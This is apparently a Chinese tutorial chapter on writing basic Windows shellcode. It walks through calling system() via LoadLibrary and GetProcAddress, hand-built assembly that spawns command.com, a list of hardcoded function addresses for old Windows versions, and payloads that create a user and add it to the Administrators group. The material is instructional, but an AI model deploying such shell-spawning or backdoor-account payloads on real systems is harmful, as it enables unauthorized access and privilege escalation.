第二章、Windows 下 ShellCode 编写初步

(一)shellcode

定义:最先的 Shell 指的是人机交互界面,ShellCode 是一组能完成我们想要的功能的机器代码,通常以十六进制数组的形式存在

NOTES:计算机每次都只是执行当前 EIP 指向的指令(单 CPU)。在当前指令执行后,EIP 会自动加 1,从而指向下一条指令。如果有 JMP CALL RET 一类的指令,EIP 就会被强行改变成指定的地址,从而完成流程的跳转

(二)打开控制台窗口的 C 程序

升级版:

程序解释:

(1)typedef void (*MYPROC)(LPTSTR)

定义了一个函数指针,其指向函数的参数是字符串,返回值是空。该指针的作用是用于指向 system 函数,在后面调用它,就相当于调用 system 函数

(2)LibHandle = LoadLibrary(“msvcrt.dll”)

加载 msvcrt.dll 这个动态链接库,动态链接库的句柄赋给 LibHandle

(3)ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system");

获得动态链接库的句柄后,我们再使用“GetProcAddress(LibHandle, system)”获得 system 的真实地址。之后再使用这个真实地址来调用 system 函数。执行该语句后,ProcAdd 为指向 system 函数的指针(而不是地址(*)),即ProcAdd 存的是 system 函数的地址

(4)(ProcAdd) ("command.com");

因为此时的 ProcAdd 为指向 system 函数的指针,所以“(ProcAdd) ("command.com")”就是调用“system("command.com")”,完成我们想要的功能

(三)查看函数的地址

看 system 函数的地址:在 VC 下按 F10 进入调试状态,然后在 Debug 工具栏中,点最后一个按钮‘Disassemble’和第四个按钮‘Registers’,这样就出现了源程序的汇编代码和寄存器状态窗口

按 F10,程序就会单步执行

EAX的值即为msvcrt.dll 的地址(‘LibHandle = LoadLibrary("msvcrt.dll")’那句下的call dword ptr [__imp__LoadLibraryA@4(0042413c)]就是执行‘LoadLibrary("msvcrt.dll")’,返回值就是 msvcrt.dll 的地址;而函数的返回值,通常都是放在 EAX 中)

(四)Windows 下的函数调用原理

1.Windows 下,函数的调用需要先把函数所在的动态链接库 Load 进去,这点大家都清楚。而在执行的时候用堆栈传递参数,然后直接 CALL 该函数的地址

2.NOTES:Linux 下,函数的执行是使用系统中断调用。系统把函数的系统调用码给 EAX(如 execve 是 0xb),函数带的参数给其他寄存器,最后执行 int$0x80 中断指令,完成函数的执行

3.例:在 Windows 下执行函数 Func(argv1, argv2, argv3) ,先把参数从右至左压入堆栈,这里就是依次把 argv3、argv2、argv1 压入堆栈里,然后 Call Func 函数的地址,这里的 Call Func

函数地址,其实等于两步,一是保存当前 EIP,二是跳到 Func 函数的地址执行,即 Push EIP + Jmp Func

(五)汇编和机器码——真正 ShellCode 的生成

1.写system(“command.exe”) 的汇编代码

不知道 command.exe 字符串的地址,故而自己构造,把‘command.exe’一个字符一个字符的压入堆栈

ESP 正好是 command.exe 字符串的地址,然后PUSH ESP

NOTE:1.计算机入栈是压四个字节,那我们就每次 PUSH 四个字节;或者我们就一个字节一个字

节地把值赋入堆栈,不用 PUSH,而直接用赋值,如下:

mov esp,ebp ;

mov ebp,esp ; 把当前 esp 赋给 ebp作为栈底

xor edi,edi ;

push edi ;压入 0,esp-4,; 作用是构造字符串的结尾\0 字符。

sub esp,08h ;加上上面,一共有 12 个字节,;用来放"command.com"。

mov byte ptr [ebp-0ch],63h ; c

mov byte ptr [ebp-0bh],6fh ; o

mov byte ptr [ebp-0ah],6dh ; m

mov byte ptr [ebp-09h],6Dh ; m

mov byte ptr [ebp-08h],61h ; a

mov byte ptr [ebp-07h],6eh ; n

mov byte ptr [ebp-06h],64h ; d

mov byte ptr [ebp-05h],2Eh ; .

mov byte ptr [ebp-04h],63h ; c

mov byte ptr [ebp-03h],6fh ; o

mov byte ptr [ebp-02h],6dh ; m 一个一个生成串"command.com".

lea eax,[ebp-0ch] ;

push eax ; command.com 串地址作为参数入栈

mov eax, 0x7801AFC3 ;

call eax ; call system 函数的地址

(1)‘push edi’和‘sub esp,08h’是把 esp 减去 12 字节,这 12 个字节空间就用来放(2)command.com’;(2)‘mov byte ptr [ebp-0ch],63h’等,是我们把 command.com 一个字节一个字节的放进留出的空间中;

(3)‘lea eax,[ebp-0ch]’来获得构造的 command.com 字符串的地址;

(4)‘push eax’把地址压入堆栈,call system 函数的地址就完成了

(六)ShellCode 通用性的初步分析

由于系统版本不一,造成 LoadLibrary 和 system 函数的地址不同

NOTES:自动查找函数地址的程序 GetAddr.cpp:

#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR); int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("msvcrt");
printf("msvcrt LibHandle = //x%x\n", LibHandle);
ProcAdd=(MYPROC)GetProcAddress(LibHandle,"system");
printf("system = //x%x\n", ProcAdd); return 0;
}

NOTES:

kernel32.dll中的LoadLibrary 函 数

user32.dll 中的 MessageBox 函数

1.弹出 Windows 对话框 ShellCode 的编写

#include "windows.h"
int main(int argc, char* argv[])
{
LoadLibrary("user32.dll");
MessageBox(0, "ww0830","ww", 1); return 0;
}

2.添加用户 ShellCode 的编写

1.(1)添加用户:net user name /add

(2)帐户添加到管理员: DOS 命令行下执行 net localgroup administrators name /add

#include <windows.h>
int main()
{
LoadLibrary("msvcrt.dll");
system("net user c /add");
system("net localgroup administrators c /add"); return 0;
}

2.添加用户的另一种方法

用的是 Netapi32.dll 里的 NetUserAdd 和 NetLocalGroupAddMembers 函数

NOTES:

(1)ASCII 编码是用一个字节来表示字符,这样只有 256 种组合

Unicode 是用两个字节(16 位)来表示字符,这样共有 65536 种组合

#ifndef UNICODE
#define UNICODE
#endif
#include <stdio.h>
#include <windows.h>
#include <lm.h>
#pragma comment(lib,"netapi32") int wmain()
{
USER_INFO_1 ui;
DWORD dwError = 0;
ui.usri1_name = L"ww0830";
ui.usri1_password = L"ww0830";
ui.usri1_priv = USER_PRIV_USER;
ui.usri1_home_dir = NULL;
ui.usri1_comment = NULL;
ui.usri1_flags = UF_SCRIPT;
ui.usri1_script_path = NULL;
//添加名为 ww0830 的用户,密码也为 ww0830 if(NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)
{
//添加成功
printf("Add user success.\n");
}
else
{
//添加失败
printf("Add user Error!\n");
return 1;
}
wchar_t szAccountName[100]={0};
wcscpy(szAccountName,L"ww0830");
LOCALGROUP_MEMBERS_INFO_3 account;
account.lgrmi3_domainandname=szAccountName;
//把 ww0830 添加到 Administrators 组
if(NetLocalGroupAddMembers(NULL,L"Administrators",3,(LPBYTE)&account,1)==
NERR_Success )
{
//添加成功
printf("Add to Administrators success.\n");
return 0;
}
else
{
//添加失败
printf("Add to Administrators Fail!\n");
return 1;
}
}

NOTES:

1.查找到 LoadLibraryA 函数的地址是 0x77E6A254,system 函数的地址是 0x78019B4A,都是正确的,但为什么我把 ShellCode 对应的地方改成“\x77\xE6\xA2\x54”和“\x78\x01\x9B\x4A”后,不能弹出 DOS 窗口呢?

注意别把字节的顺序写反了,应该是“\x54\xA2\xE6\x77”和“\x4A\x9B\x01\x78”

2.在 Windows 系统下,多字节数存放的规则是:数的高位放在内存高址,数的低位放在内存低址。对0x77E6A25478 来说,0x77 是最高位,所以要放在内存的高地址,而在字符串中,是按照内存从低到高排列的,所以要把 0x77 放在字符串中数的最后。

3.LoadLibraryA 和 system 函数的地址在 Win2000 SP0 下,分别是 0x77E78023 和 0x7801AAAD;在SP2 下分别是 0x77E6A254 和 0x78019B4A;在 SP3 下分别是 0x77E69F64 和 0x7801AFC3;在 XP SP0 下分别是 0x77E605D8 和 0x77BF8044

4.为何LoadLibrary 函数在系统里面有 LoadLibraryA 和 LoadLibraryW 两种实现?而system只有一个呢?

在 Windows 下,存在几种编程接口。

(1) Windows API 函数。这类函数是和 Windows 系统相关的,使用的也是 Windows 下才特有的数据类型(比如 CHAR)。API 函数就存在 A 和 W 这两种实现,而 LoadLibrary 是 API 函数。

(2)C运行链接库,是按照C语言的标准来实现的,所以只有小写字母,而且只有一种实现,比如system

函数( C 语言标准中,规定函数名称都是小写)

5.Windows 应用程序的标识符通常用“大小写”混排的方式,如AddChild; Windows 下建议使用“匈牙利”命名规则,类名和函数名用大写字母开头的单词组合而成,变量和参数用小写字母开头的单词组合而成,常量全用大写,全局变量加前缀“g”,类的数据成员加前缀“m_”

Unix应用程序的标识符用“小写加下划线”的方式,如add_child

6.ShellCode 里面不能有 0x00,因为 0x00 是字符串的结束符

最新文章

  1. 学习笔记:Asp.Net MVC更新部分页面
  2. linux文件特殊权限
  3. 带有hover效果的text-overflow
  4. Protractor
  5. WP8_给图片、按钮设置自定义图片
  6. Jquery 回到顶部
  7. Storm系列(十五)架构分析之Executor-Spout
  8. 关闭utorrent的广告
  9. kafka consumer 分区reblance算法
  10. htaccess URL重写rewrite与重定向redirect(转)
  11. HTTP实现长连接(TTP1.1和HTTP1.0相比较而言,最大的区别就是增加了持久连接支持Connection: keep-alive)
  12. mysql 千分位 Format
  13. 每一个程序员都应该知道的高并发处理技巧、创业公司如何解决高并发问题、互联网高并发问题解决思路、caoz大神多年经验总结分享
  14. salesforce 零基础学习(七十)使用jquery table实现树形结构模式
  15. 听说你买了 EOS ,连代码什么样都不知道?
  16. URL重定向漏洞,python打造URL重定向漏洞检测脚本
  17. python模拟登陆Github示例
  18. P4859 已经没有什么好害怕的了(dp+二项式反演)
  19. [CF453B]Little Pony and Harmony Chest
  20. lldp学习

热门文章

  1. 版本控制,django缓存,跨域问题解决
  2. (转)用库函数stdarg.h实现函数参数的可变
  3. Java 自增原理
  4. fastjson对象转为json字符串日期格式变为时间戳问题
  5. 60行python代码分析2018互联网大事件
  6. Python基础(条件判断,循环,占位符等)
  7. 如何将plist大图拆分成原来的小图
  8. Introduction to Unity UI
  9. Hello1 web
  10. 泊爷带你学go -- redis连接池的操作